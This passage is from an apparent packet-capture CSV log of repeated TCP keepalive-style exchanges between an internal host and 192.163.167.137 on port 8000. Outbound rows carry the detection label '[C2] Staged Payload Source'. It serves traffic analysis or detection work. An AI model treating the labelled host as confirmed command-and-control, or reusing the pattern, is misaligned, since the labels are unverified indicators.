\"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:07.928099,627,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0cc400080063f320a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45260, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16178, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:07.928117,628,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec364000400643bdc0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.6@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60470, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17341, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:08.943725,629,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0cd400080063f310a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45261, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16177, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:08.943751,630,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec374000400643bcc0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.7@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60471, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17340, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:09.959389,631,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0ce400080063f300a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45262, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16176, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:09.959411,632,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec384000400643bbc0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.8@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60472, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17339, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:10.959389,633,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0cf400080063f2f0a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45263, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16175, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:10.959402,634,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec394000400643bac0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.9@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60473, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17338, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:11.975038,635,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0d0400080063f2e0a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45264, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16174, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:11.975065,636,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec3a4000400643b9c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.:@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60474, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17337, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:12.990711,637,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0d1400080063f2d0a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45265, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16173, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:12.990729,638,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec3b4000400643b8c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.;@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60475, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17336, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:14.006344,639,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0d2400080063f2c0a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45266, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16172, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:14.006376,640,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec3c4000400643b7c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.<@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60476, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17335, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:15.021993,641,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0d3400080063f2b0a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45267, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16171, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:15.022019,642,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec3d4000400643b6c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.=@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60477, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17334, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:16.037632,643,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0d4400080063f2a0a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45268, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16170, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 